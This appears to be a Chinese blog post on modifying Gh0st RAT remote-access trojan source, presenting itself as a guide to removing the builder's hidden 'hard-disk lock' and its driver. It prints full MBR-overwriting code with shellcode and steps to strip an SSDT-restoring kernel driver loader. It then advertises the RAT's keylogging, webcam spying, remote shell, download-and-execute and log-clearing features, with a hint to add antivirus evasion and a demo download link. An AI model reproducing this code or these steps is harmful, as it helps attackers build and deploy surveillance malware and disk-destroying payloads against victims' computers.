gh0st源码去硬盘锁与驱动

去硬盘锁:

1.打开源文件gh0st.cpp(搜索unsigned char scode[] =)

注释以下部分:

/*   
unsigned char scode[] =   
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"   
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"   
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";   
                                                 
int CGh0stApp::KillMBR()   
{   
    HANDLE hDevice;   
    DWORD dwBytesWritten, dwBytesReturned;   
    BYTE pMBR[512] = {0};   
                                                     
    // 重新构造MBR   
    memcpy(pMBR, scode, sizeof(scode) - 1);   
    pMBR[510] = 0x55;   
    pMBR[511] = 0xAA;   
                                                     
    hDevice = CreateFile   
        (   
        "\\\\.\\PHYSICALDRIVE0",   
        GENERIC_READ | GENERIC_WRITE,   
        FILE_SHARE_READ | FILE_SHARE_WRITE,   
        NULL,   
        OPEN_EXISTING,   
        0,   
        NULL   
        );   
    if (hDevice == INVALID_HANDLE_VALUE)   
        return -1;   
    DeviceIoControl   
        (   
        hDevice,    
        FSCTL_LOCK_VOLUME,    
        NULL,    
        0,    
        NULL,    
        0,    
        &dwBytesReturned,    
        NULL   
        );   
    // 写入病毒内容   
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);   
    DeviceIoControl   
        (   
        hDevice,    
        FSCTL_UNLOCK_VOLUME,    
        NULL,    
        0,    
        NULL,    
        0,    
        &dwBytesReturned,    
        NULL   
        );   
    CloseHandle(hDevice);   
                                                 
    ExitProcess(-1);   
    return 0;   
}   
*/2.打开BuildView.cpp,找到以下代码注释

/*   
    char    strVer[10];   
    char    strTitle[10];   
                                             
    strVer[0] = 'C';   
    strVer[1] = '.';   
    strVer[2] = 'R';   
    strVer[3] = 'u';   
    strVer[4] = 'f';   
    strVer[5] = 'u';   
    strVer[6] = 's';   
    strVer[7] = ' ';   
    strVer[8] = 'S';   
    strVer[9] = '\0';   
                                             
    strTitle[0] = 'G';   
    strTitle[1] = 'h';   
    strTitle[2] = '0';   
    strTitle[3] = 's';   
    strTitle[4] = 't';   
    strTitle[5] = ' ';   
    strTitle[6] = 'R';   
    strTitle[7] = 'A';   
    strTitle[8] = 'T';   
    strTitle[9] = '\0';   
                                             
    CString str;   
    GetDlgItemText(IDC_STATIC_VER, str);   
    if (str.Find(strVer) == -1)   
        ((CGh0stApp *)AfxGetApp())->KillMBR();   
                                             
    GetParent()->GetWindowText(str);   
    if (str.Find(strTitle) == -1)   
        ((CGh0stApp *)AfxGetApp())->KillMBR();   
*/3.打开头文件的gh0st.h,注释掉

//int KillMBR();完成。

去除驱动文件:

1.搜索ResetSSDT,要从根文件夹搜索.

第一处

/*bool ResetSSDT(HMODULE    hModule)  
{  
    typedef bool (__stdcall * LPResetSSDT)();  
    bool    bRet = true;  
    char    strTmpPath[MAX_PATH];  
    char    strDllPath[MAX_PATH];  
                               
    GetTempPath(sizeof(strTmpPath), strTmpPath);  
    GetTempPath(sizeof(strDllPath), strDllPath);  
    wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount());  
                               
    try  
    {  
        ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL);  
                               
        HMODULE hDll = LoadLibrary(strDllPath);  
        if (hDll == NULL)  
        {  
            throw "";  
        }  
                               
        LPResetSSDT ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");  
        if (ResetSSDT == NULL)  
            throw "";  
        ResetSSDT();  
        FreeLibrary(hDll);  
                                           
    }catch(...)  
    {  
        bRet = false;  
        DeleteFile(strDllPath);  
    }  
                                   
    return bRet;  
}  
*/第二处

//ResetSSDT(hInstance);第三处

//#include "common/resetssdt.h"第四处

//extern "C" __declspec(dllexport) bool ResetSSDT();第五处

//      ResetSSDT();第六处

/*extern "C" __declspec(dllexport) bool ResetSSDT() 

    return RestoreSSDT(CKeyboardManager::g_hInstance); 

*/第七处

//IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"最后在svchost files工程中删除RESSDT.sys,再删除External Dependencies中的resetssdt.h

ok!

控制端服务端都采用IOCP模型,数据传输采用zlib压缩方式 稳定快速,上线数量无上限,可同时控制上万台主机 控制端自动检测CPU使用率调整自己的工作线程, 稳定高效 宿主为svchost以系统服务启动,上线间隔为两分钟 心跳包机制防止意外掉线.. 支持HTTP和DNS上线两种方式 自动恢复SSDT(这功能干什么,大家都知道,免杀自己做吧) 控制端224K,返朴归真的界面,生成的服务端无壳,156K,可多次重复安装,重复安装要等2秒,要退出守护线程 其它细节方面的功能大家自己发现吧 功能: 文件管理 完全仿Radmin所写, 文件、文件夹批量上传、删除、下载、创建、重命名.. 屏幕监视 此模块全用汇编编写,传速速度快,控制屏幕,发送Ctrl+Alt+Del,7种色彩显示方式 键盘记录 可记录中英文信息,离线记录(记录上限50M)功能 远程终端 一个简单shell 系统管理 进程管理,窗口管理,拨号上网密码获取 视频监控 监控远程摄像头 会话管理 注销,重启,关机,卸载服务端 其它功能 下载执行指定URL中的程序,隐藏或者显示访问指定网址,清除系统日志 地址位置 将IP数据库文件QQWry.Dat放置程序同目录下即可显示地理位置 集群控制 可同时控制多台主机,同时打开视频监控等管理功能 演示地址 http://www.wolfexp.net/other/Gh0st_RAT/index.html http://www.wolfexp.net/other/Gh0st_RAT/demo.rar 更多请关注红狼安全小组官方网站 http://www.wolfexp.net/
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值